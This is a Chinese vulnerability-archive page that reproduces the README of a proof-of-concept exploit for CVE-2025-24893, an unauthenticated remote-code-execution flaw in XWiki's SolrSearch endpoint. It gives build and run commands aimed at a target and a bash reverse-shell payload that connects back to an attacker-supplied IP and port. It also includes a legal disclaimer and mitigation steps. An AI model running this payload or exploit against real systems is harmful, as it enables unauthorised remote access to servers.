目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-24893 PoC — XWiki Platform 安全漏洞

来源
关联漏洞
标题: XWiki Platform 安全漏洞 (CVE-2025-24893)
Description:XWiki Platform是XWiki开源的一套用于创建Web协作应用程序的Wiki平台。 XWiki Platform存在安全漏洞,该漏洞源于任何来宾用户都可以通过对SolrSearch的请求,造成远程代码执行。
Description
 Proof-of-Concept exploit for CVE-2025-24893, an unauthenticated Remote Code Execution (RCE) vulnerability in XWiki. Exploits a template injection flaw in the SolrSearch endpoint via Groovy script execution.
介绍
# CVE-2025-24893 — XWiki Unauthenticated RCE (PoC)

Proof-of-Concept exploit for **CVE-2025-24893**, a critical unauthenticated **Remote Code Execution** vulnerability in **XWiki**.  
This exploit abuses a Groovy template injection in the `SolrSearch` endpoint to execute arbitrary commands — including reverse shells — without authentication.

## 💥 Vulnerability Details

A flaw in how XWiki handles crafted input to the `SolrSearch` RSS endpoint allows attackers to inject Groovy code into the rendering pipeline.  
This enables **unauthenticated RCE** via `{{groovy}}` script blocks.

### ✅ Affected Versions

- `< 15.10.11`
- `>= 16.0.0` and `< 16.4.1`

### ❌ Fixed in

- `15.10.11`
- `16.4.1`

---

## 🔧 Usage

Download the release:

[Releases](https://github.com/investigato/cve-2025-24893-poc/releases/tag/v0.1.0)

or build from source:

```bash
cargo build --release
./target/release/cve-2025-24893-gato --url http://target --ip 10.10.10.10 --port 4444
```

### Reverse Shell Payload

There's a prebuilt reverse shell payload in this form:

`bash -c 'sh -i >& /dev/tcp/{IP}/{PORT} 0>&1`

---

## ⚠️ Legal Disclaimer

This code is for **educational and authorized security research only**.
Do **not** use this exploit against systems you do not own or have explicit permission to test.

---

## ✍️ Credits

- Exploit PoC by [Artemir7](https://github.com/Artemir7/CVE-2025-24893-EXP)
- Rust port by investigato

---

## 🛡️ Detection & Mitigation

- Update to **XWiki 15.10.11** or **16.4.1+**
- Monitor suspicious use of `/bin/get/Main/SolrSearch?media=rss`
- Disable Groovy execution for anonymous users if possible
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →